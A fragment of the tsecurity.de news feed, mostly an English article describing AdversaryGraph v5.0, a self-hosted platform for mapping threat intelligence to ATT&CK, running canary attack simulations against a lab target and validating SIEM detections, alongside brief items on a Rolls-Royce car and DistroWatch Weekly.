					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Rolls-Royse</p></div>



<p>Selbst die Lüftungsdüsen bergen ein Geheimnis. Sie sind mit den Koordinaten von Goodwood House und dem Rolls-Royce-Werk graviert – Details, die nur sichtbar werden, wenn die Lüftungsdüsen geneigt werden.</p>



<p>Der Phantom Regatta wird erstmals im Rahmen des <a href="https://www.goodwood.com/motorsport/festival-of-speed/">Goodwood Festival of Speed</a> <a href="https://www.goodwood.com/grr/event-coverage/festival-of-speed/rolls-royce-to-present-the-phantom-regatta-at-the-2026-festival-of-speed/">vorgestellt</a>. Da es sich bei dem Fahrzeug um ein sogenanntes Einzelstück handelt, wird es niemals in Serie produziert werden.</p>



<p></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DistroWatch Weekly, Issue 1180]]></title>
<description><![CDATA[The DistroWatch news feed is brought to you by TUXEDO COMPUTERS.  This week in DistroWatch Weekly: 
Review: FreeBSD 15.1 with an install-time desktop
News: Asahi fixes macOS boot bug, reasons to run Gentoo, Ubuntu reverts Rust-based copy command, Astral gets WINE port
Questions and answers: Vario...]]></description>
<link>https://tsecurity.de/de/3647479/unix-server/distrowatch-weekly-issue-1180/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3647479/unix-server/distrowatch-weekly-issue-1180/</guid>
<pubDate>Mon, 06 Jul 2026 02:16:22 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The DistroWatch news feed is brought to you by <a href="https://www.tuxedocomputers.com/">TUXEDO COMPUTERS</a>.  This week in DistroWatch Weekly: <br>
Review: FreeBSD 15.1 with an install-time desktop<br>
News: Asahi fixes macOS boot bug, reasons to run Gentoo, Ubuntu reverts Rust-based copy command, Astral gets WINE port<br>
Questions and answers: Various tools for running admin commands<br>
Released last week: Slackel 9.0 "MATE", Mageia 10, Kali Linux 2026.2,....]]></content:encoded>
</item>
<item>
<title><![CDATA[AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation]]></title>
<description><![CDATA[A self-hosted CTI-to-detection workbench for ATT&CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.IntroductionAdversaryGraph started as a practical question:How can a security team move from threat intelligence ...]]></description>
<link>https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646308/hacking/adversarygraph-v50-from-cti-mapping-to-attack-simulation-and-siem-validation/</guid>
<pubDate>Sun, 05 Jul 2026 08:22:34 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A self-hosted CTI-to-detection workbench for ATT&amp;CK mapping, IOC investigation, malware analysis, asset attack-surface mapping, attack simulation, and detection engineering validation.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pE4s-eX1wFWMUOsnozr16w.png"></figure><h3>Introduction</h3><p>AdversaryGraph started as a practical question:</p><p><strong>How can a security team move from threat intelligence to detection engineering without losing the evidence trail?</strong></p><p>Most CTI workflows produce useful text, but the next steps are often manual. An analyst reads a report, extracts behaviors, maps them to MITRE ATT&amp;CK, compares them with known actors, enriches IOCs, writes detection ideas, and then asks a detection engineer to validate whether telemetry actually exists in the SIEM.</p><p>That gap is where a lot of defensive work slows down.</p><p>AdversaryGraph v5.0 is my attempt to make that workflow more operational. It is not only a CTI visualization project. It is a self-hosted analyst workbench that connects:</p><ul><li><strong>Report and telemetry analysis.</strong></li><li><strong>ATT&amp;CK technique mapping.</strong></li><li><strong>Group, campaign, and report similarity.</strong></li><li><strong>IOC enrichment and investigation.</strong></li><li><strong>Malware analysis workflows.</strong></li><li><strong>Asset attack-surface mapping.</strong></li><li><strong>Attack simulation.</strong></li><li><strong>SIEM forwarding and validation.</strong></li><li><strong>Analyst-ready documentation and reports.</strong></li></ul><p>The main addition in release 5.0 is <strong>Attack Simulation</strong>: a controlled ATT&amp;CK validation workspace where an analyst can select a technique, run approved lab scenarios, inspect target-side telemetry, forward logs to a SIEM collector, and use an AI assistant to generate coherent multi-phase attack-chain drills.</p><p>This article explains what is new in v5.0, how the architecture works, what the platform can do today, and how I expect analysts and detection engineers to use it.</p><p>Project links:</p><ul><li>Project landing page: <a href="https://1200km.com/adversarygraph/">https://1200km.com/adversarygraph/</a></li><li>Documentation: <a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></li><li>GitHub: <a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></li><li>Release v5.0.0: <a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0</a></li></ul><h3>Table of Contents</h3><ul><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cea9"><strong>The Problem: CTI Often Stops Before Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dfa8"><strong>What AdversaryGraph Is</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cb81"><strong>Core Capabilities Before v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#873f"><strong>What Is New in v5.0</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#bca9"><strong>TTP-First Simulation Workflow</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#b2a4"><strong>Real Lab Telemetry for Web Scenarios</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#251c"><strong>SIEM Forwarding</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#a5cc"><strong>AI Attack Assistant</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#3d3e"><strong>Coherent Kill Chains, Not Random Events</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#2f06"><strong>Explain Attack</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#f317"><strong>Named Scenario Library</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#144f"><strong>Safety Boundaries</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cd7c"><strong>How This Fits Detection Engineering</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e7d0"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#6252"><strong>Example Use Case: Password Spray Detection</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#231b"><strong>Example Use Case: Web Recon to Exploit-Shaped Telemetry</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8a5c"><strong>Example Use Case: Malware Findings to Detection Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dbfb"><strong>Example Use Case: Asset Inventory to Attack Surface</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8e80"><strong>What This Release Is Not</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#ff3a"><strong>What Makes v5.0 Different</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#22f6"><strong>Final Thoughts</strong></a></li></ul><h3>The Problem: CTI Often Stops Before Validation</h3><p>A typical CTI-to-detection workflow looks like this:</p><ol><li>Read an external report, internal incident report, malware note, or intelligence summary.</li><li>Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.</li><li>Map those behaviors to MITRE ATT&amp;CK.</li><li>Compare them with known actor and campaign profiles.</li><li>Identify relevant IOCs.</li><li>Write hunting hypotheses and detection logic.</li><li>Ask whether the SIEM actually receives the required telemetry.</li><li>Test rules with sample logs, lab traffic, or purple-team activity.</li></ol><p>The hard part is not just mapping. The hard part is preserving the chain from <strong>evidence</strong> to <strong>technique</strong> to <strong>telemetry</strong> to <strong>detection validation</strong>.</p><p>If the SIEM parser is broken, the detection will not fire.</p><p>If the event structure is wrong, the rule will not match.</p><p>If the test event is too synthetic, the validation result is misleading.</p><p>If the ATT&amp;CK mapping is not tied back to evidence, the report becomes hard to defend.</p><p>AdversaryGraph v5.0 focuses on this full chain.</p><h3>What AdversaryGraph Is</h3><p>AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.</p><p>The public site is useful for exploration: ATT&amp;CK matrix navigation, group research, public technique context, and project documentation.</p><p>The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.</p><p>The high-level workflow is:</p><ol><li><strong>Ingest</strong> reports, logs, IOCs, malware findings, asset inventory, or feed data.</li><li><strong>Map</strong> behaviors to ATT&amp;CK with evidence and confidence.</li><li><strong>Enrich</strong> IOCs, actors, campaigns, malware families, and references.</li><li><strong>Validate</strong> coverage using lab telemetry and SIEM forwarding.</li><li><strong>Report</strong> findings in analyst-ready form.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sMubTyaMt5F9zU2t.png"></figure><h3>Core Capabilities Before v5.0</h3><p>Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.</p><p><strong>All capabilities here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/capabilities/">Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><h4>AI-Assisted ATT&amp;CK Mapping</h4><p>Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&amp;CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.</p><p>The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:</p><ul><li>Techniques are shown with evidence.</li><li>Confidence is visible.</li><li>Output can be reviewed before operational use.</li><li>Extracted TTPs can be pushed into the Navigator.</li><li>Results can be compared with groups, campaigns, and stored reports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YMWb4u7m0Ogpsb6T.png"></figure><h4>ATT&amp;CK Navigator and Group Context</h4><p>The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.</p><p>This matters because many teams already think in ATT&amp;CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.</p><h4>Group, Campaign, and Report Similarity</h4><p>AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.</p><p>This is intentionally framed as similarity, not attribution.</p><p>TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.</p><h4>IOC Investigation</h4><p>The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&amp;CK leads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SHhDv7Qw2exVtviQ.png"></figure><h4>Malware Analysis</h4><p>The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.</p><p>The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&amp;CK, IOCs, and investigation outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W0QBOK9La3Q3mirM.png"></figure><h4>Asset Attack-Surface Mapping</h4><p>AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&amp;CK candidates.</p><p>This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”</p><p>Examples:</p><ul><li>Public web applications.</li><li>VPN and identity services.</li><li>Exposed admin panels.</li><li>Cloud assets.</li><li>Remote management services.</li><li>High-value internal systems.</li><li>Scanner and CMDB exports.</li></ul><h3>What Is New in v5.0</h3><p>The headline feature is <strong>Attack Simulation</strong>.</p><p>Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.</p><p>This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.</p><p>The v5.0 release adds:</p><ul><li>A new Attack Simulation workspace.</li><li>ATT&amp;CK-style matrix selection for runnable simulations.</li><li>Dedicated configuration pages per selected TTP.</li><li>Built-in lab web target for web-focused scenarios.</li><li>Target-side real-time log viewing.</li><li>SIEM forwarding to HTTP(S) collectors.</li><li>Saved recent SIEM destinations.</li><li>AI Attack Assistant.</li><li>“Challenge Me” mode.</li><li>Complicated multi-source attack-chain scenarios.</li><li>25 named coherent scenario templates.</li><li>Attack-chain graph.</li><li>Explain Attack panel.</li><li>Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6nP-gwkSId3d917_.png"></figure><h3>TTP-First Simulation Workflow</h3><p>The workflow starts with the ATT&amp;CK matrix.</p><p>Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&amp;CK instead of hiding simulations behind unrelated forms.</p><p>The basic flow is:</p><ol><li>Open Attack Simulation.</li><li>Choose a TTP from the matrix.</li><li>Open the dedicated simulation page.</li><li>Review what the scenario does.</li><li>Review telemetry source and event structure.</li><li>Run the lab scenario or AI-assisted telemetry drill.</li><li>Inspect logs in real time.</li><li>Forward selected logs to the SIEM.</li><li>Confirm whether detections fired.</li><li>Record validation gaps.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1RZJyK6gkRejmuv0.png"></figure><p>Each scenario explains:</p><ul><li>What happens.</li><li>What adversary behavior is represented.</li><li>Which system emits telemetry.</li><li>Which event structures are expected.</li><li>What the detection should focus on.</li><li>Which telemetry is production-like and which is a lab canary.</li><li>What the validation gaps are.</li></ul><p>That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.</p><h3>Real Lab Telemetry for Web Scenarios</h3><p>One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.</p><p>For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.</p><p>The analyst can then inspect real target-side telemetry such as:</p><ul><li>NGINX access logs.</li><li>NGINX error logs.</li><li>Application authentication logs.</li><li>WAF/security-style logs.</li><li>Structured web JSONL telemetry.</li><li>Run-specific JSONL logs.</li><li>Merged attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*CPDdyF-3kyqCleFB.png"></figure><p>This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.</p><p>Supported web-focused scenarios include:</p><ul><li>HTTP and TLS service fingerprinting.</li><li>Public application probing.</li><li>Path discovery.</li><li>Sensitive file and configuration path access.</li><li>Directory traversal canaries.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>Command-injection-shaped requests.</li><li>Web-shell access canaries.</li><li>Upload and download scenarios.</li><li>Failed-login flows.</li><li>Brute-force patterns.</li><li>Password spray.</li><li>User enumeration.</li><li>Beacon-like web traffic.</li><li>Exfiltration-shaped traffic.</li></ul><p>The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.</p><h3>SIEM Forwarding</h3><p>Validation is incomplete if the event never reaches the SIEM.</p><p>The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.</p><p>Supported controls include:</p><ul><li>Full URL or raw host:port/path destination.</li><li>Direct destination mode.</li><li>Docker host gateway routing.</li><li>Automatic route selection.</li><li>Raw original line per request.</li><li>JSON event per request.</li><li>JSON Lines.</li><li>Batch envelope.</li><li>No auth.</li><li>Bearer token auth.</li><li>Token auth.</li><li>Basic auth.</li><li>Custom token header.</li><li>Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*DYOx-cPX4OK1g66v.png"></figure><p>The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule tuning, and dashboard validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*vpv4bXcWuUgvV4Hx.png"></figure><p>Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.</p><h3>AI Attack Assistant</h3><p>The AI Attack Assistant is one of the main additions in v5.0.</p><p>It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.</p><p>The assistant supports three modes:</p><ol><li><strong>Selected TTP</strong>: generate a focused validation flow around the technique currently selected in the Attack Simulation page.</li><li><strong>Threat actor</strong>: generate a scenario inspired by a threat actor’s known behavior and ATT&amp;CK profile.</li><li><strong>Challenge Me</strong>: generate a blind multi-phase detection challenge for the analyst.</li></ol><p>There is also a <strong>Complicated attack</strong> option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:</p><ul><li>Windows Security Event Log.</li><li>Sysmon.</li><li>EDR process and file telemetry.</li><li>DNS logs.</li><li>Proxy logs.</li><li>Firewall traffic logs.</li><li>Web access logs.</li><li>WAF/security logs.</li><li>Authentication logs.</li></ul><p>The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R2jz_jH_4T-N9__R.png"></figure><h3>Coherent Kill Chains, Not Random Events</h3><p>A detection drill should not be a random list of suspicious events.</p><p>In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.</p><p>For example, a password-spray-to-foothold scenario may include:</p><ol><li>Username enumeration.</li><li>Multiple failed authentication attempts.</li><li>One successful logon after failures.</li><li>Endpoint discovery from the authenticated host.</li><li>Suspicious tool transfer.</li><li>Persistence or lateral discovery.</li></ol><p>That is much more useful than a single failed-login event.</p><p>The Attack Chain Graph makes this visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-bkB_LbIx9r5Ro35.png"></figure><p>Each phase can show:</p><ul><li>Phase number.</li><li>ATT&amp;CK technique.</li><li>Telemetry source.</li><li>Event format.</li><li>Event count.</li><li>Detection goal.</li><li>Supporting tags.</li></ul><p>This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.</p><h3>Explain Attack</h3><p>When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an <strong>Explain Attack</strong> action.</p><p>This panel explains:</p><ul><li>What the scenario is trying to simulate.</li><li>Why each phase appears in the chain.</li><li>Which telemetry sources matter.</li><li>What the analyst should search for.</li><li>What detections should fire.</li><li>Which false positives or tuning points should be considered.</li><li>What success criteria should be used.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H7lfS2NaR1B5hvEV.png"></figure><p>This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.</p><h3>Named Scenario Library</h3><p>Release 5.0 includes a library of named coherent scenarios.</p><p>Examples include:</p><ul><li>Web App to Endpoint Compromise.</li><li>Password Spray to Valid Account Foothold.</li><li>SQL Injection to Data Theft.</li><li>Recon to Web Shell Persistence.</li><li>Valid Account to LSASS Access.</li><li>Password Spray to Exfiltration.</li><li>XSS Canary to Session Abuse.</li><li>SSRF Metadata Probe to C2.</li><li>Ransomware Precursor Chain.</li><li>Living-off-the-Land Transfer and Execution.</li><li>Internal Discovery After Foothold.</li><li>Web Enumeration to Password Spray.</li><li>Public App Exploit to Persistence.</li><li>Credential Dump to Cloud Upload.</li><li>Signed Binary Proxy to C2.</li><li>FIN7-style web, identity, and persistence flow.</li><li>APT29-style identity and PowerShell flow.</li><li>Lazarus-style delivery and exfiltration flow.</li><li>Noisy red-team drill.</li><li>Stealthy low-volume intrusion chain.</li><li>WAF bypass retry chain.</li><li>Service account abuse.</li><li>External recon to credential access.</li><li>C2 telemetry validation.</li><li>Persistence control validation.</li></ul><p>These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:</p><ul><li>Does my SIEM parse this source?</li><li>Does my correlation rule see the sequence?</li><li>Does the detection alert only on one event or on the chain?</li><li>Can analysts reconstruct the story from logs?</li><li>Which telemetry source is missing?</li><li>Where do false positives appear?</li></ul><h3>Safety Boundaries</h3><p>Attack Simulation must be safe by design.</p><p>The v5.0 module follows several boundaries:</p><ul><li>It does not execute malware.</li><li>It does not run arbitrary commands.</li><li>It does not exploit arbitrary external targets.</li><li>Web simulation traffic is limited to predefined benign canaries against the local lab target.</li><li>SIEM forwarding sends generated Attack Simulation telemetry.</li><li>Unsafe URL schemes and metadata/link-local destinations are blocked.</li><li>Credentials used for forwarding are used only for the current request and are not stored.</li></ul><p>This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.</p><h3>How This Fits Detection Engineering</h3><p>Detection engineering is not only writing rules. It is a lifecycle:</p><ol><li>Understand the adversary behavior.</li><li>Map it to ATT&amp;CK or another behavior model.</li><li>Identify required telemetry.</li><li>Confirm that telemetry exists.</li><li>Confirm that parsing works.</li><li>Write detection logic.</li><li>Test the logic with realistic events.</li><li>Tune false positives.</li><li>Document assumptions and gaps.</li><li>Re-test when infrastructure or parsers change.</li></ol><p>AdversaryGraph v5.0 tries to support this lifecycle directly.</p><p>The CTI modules help with steps 1 and 2.</p><p>IOC and malware modules help enrich the investigation context.</p><p>Asset attack-surface mapping helps identify relevant entry points.</p><p>Attack Simulation helps with steps 3 through 8.</p><p>Reports and docs help with steps 9 and 10.</p><h3>Architecture Overview</h3><p>The self-hosted platform is built around a browser frontend and API backend.</p><p>At a high level:</p><ul><li>Frontend: React/Vite user interface.</li><li>Backend: FastAPI service.</li><li>Database: PostgreSQL for stored investigations and platform data.</li><li>Background jobs: Redis/Celery where needed.</li><li>ATT&amp;CK data: synchronized from MITRE sources.</li><li>AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.</li><li>Malware workflow: MalwareGraph-backed analysis components.</li><li>Attack lab: Docker-based target services for controlled telemetry generation.</li><li>SIEM forwarding: HTTP(S) delivery to configured collectors.</li></ul><p>For the v5.0 web simulation flow, the important architectural distinction is:</p><p>AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.</p><p>For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.</p><h3>Example Use Case: Password Spray Detection</h3><p>A common detection engineering task is password spray validation.</p><p>The analyst wants to know:</p><ul><li>Do we ingest authentication failures?</li><li>Are usernames parsed correctly?</li><li>Can we count failures across many users?</li><li>Can we detect one source trying one password against many accounts?</li><li>Can we correlate a later successful login?</li><li>Can we connect the successful login to endpoint activity?</li></ul><p>With AdversaryGraph v5.0, the workflow becomes:</p><ol><li>Select a credential-access or brute-force related TTP.</li><li>Choose the password spray scenario.</li><li>Run the lab or AI-assisted flow.</li><li>Observe authentication-related events.</li><li>Forward the events to the SIEM.</li><li>Confirm the parser.</li><li>Confirm the rule.</li><li>Review the chain graph.</li><li>Use Explain Attack to document what should have happened.</li><li>Record gaps.</li></ol><p>The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.</p><h3>Example Use Case: Web Recon to Exploit-Shaped Telemetry</h3><p>For a web application detection scenario, the analyst may want to test:</p><ul><li>Path discovery.</li><li>Sensitive file probing.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>WAF canary classification.</li><li>Access-log parser behavior.</li><li>SIEM dashboards for web attacks.</li></ul><p>AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.</p><p>This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.</p><h3>Example Use Case: Malware Findings to Detection Validation</h3><p>The malware module can produce findings such as:</p><ul><li>Suspicious imports.</li><li>Strings.</li><li>Packed sample indicators.</li><li>Function-level behavior.</li><li>Potential IOCs.</li><li>ATT&amp;CK candidates.</li><li>AI-assisted summaries.</li></ul><p>Those findings can feed detection engineering:</p><ul><li>Which API calls should we monitor?</li><li>Which command lines or process patterns matter?</li><li>Which persistence mechanisms appear?</li><li>Which network indicators are useful?</li><li>Which behaviors should become validation scenarios?</li></ul><p>AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&amp;CK and validation planning.</p><h3>Example Use Case: Asset Inventory to Attack Surface</h3><p>Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&amp;CK entry points.</p><p>The Asset Attack Surface module helps with:</p><ul><li>Normalizing assets.</li><li>Identifying exposed services.</li><li>Scoring exposure.</li><li>Mapping likely entry points.</li><li>Proposing ATT&amp;CK candidates.</li><li>Creating saved cases.</li></ul><p>This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.</p><h3>What This Release Is Not</h3><p>It is important to define what v5.0 is not.</p><p>It is not an autonomous attack platform.</p><p>It is not a malware execution system.</p><p>It is not a replacement for a full cyber range.</p><p>It is not attribution proof.</p><p>It is not a guarantee that a detection works in production.</p><p>It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.</p><h3>What Makes v5.0 Different</h3><p>The main difference is the connection between CTI and validation.</p><p>Many tools stop at one of these points:</p><ul><li>Visualize ATT&amp;CK.</li><li>Extract TTPs.</li><li>Store IOCs.</li><li>Generate sample logs.</li><li>Run a lab attack.</li><li>Forward events.</li></ul><p>AdversaryGraph tries to connect these into one workflow:</p><ol><li>Understand the behavior.</li><li>Map it.</li><li>Enrich it.</li><li>Simulate it safely.</li><li>Observe telemetry.</li><li>Send it to the SIEM.</li><li>Explain what happened.</li><li>Document what passed and what failed.</li></ol><p>That is the direction I want the platform to continue moving.</p><h3>Getting Started</h3><p>If you want to explore the public interface:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p><strong>If you want the full private platform:</strong></p><pre>git clone https://github.com/anpa1200/adversarygraph.git<br>cd adversarygraph<br>cp .env.example .env<br>docker compose up</pre><p><strong>Then open:</strong></p><pre>http://localhost:3000</pre><p><strong>Read the full documentation here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/">AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Attack Simulation guide:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/attack-simulation/">Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Project page:</strong></p><p><a href="https://1200km.com/adversarygraph/">AdversaryGraph AI - CTI-to-Detection Platform</a></p><p><strong>GitHub 